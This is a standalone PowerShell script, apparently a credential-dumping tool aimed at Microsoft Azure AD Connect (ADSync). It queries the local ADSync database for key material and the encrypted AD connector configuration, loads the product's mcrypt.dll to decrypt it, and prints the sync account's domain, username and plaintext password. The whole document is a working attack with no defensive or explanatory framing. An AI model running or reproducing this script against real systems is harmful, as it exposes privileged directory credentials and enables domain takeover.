$db = "ADSync"
$server = "127.0.0.1"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db; Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$table = Invoke-Sqlcmd -query "use ADSync; SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
Write-Host ($table)
$key_id = $table.Item("keyset_id")
Write-Host ($key_id)
$instance_id = $table.Item("instance_id")
Write-Host ($instance_id)
$entropy = $table.Item("entropy")
Write-Host ($entropy)

$configtable = Invoke-Sqlcmd -query "use ADSync; SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$config = $configtable.Item("private_configuration_xml")
Write-Host ($config)
$crypted = $configtable.Item("encrypted_configuration")
Write-Host ($crypted)
# Write-Host ($reader)

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)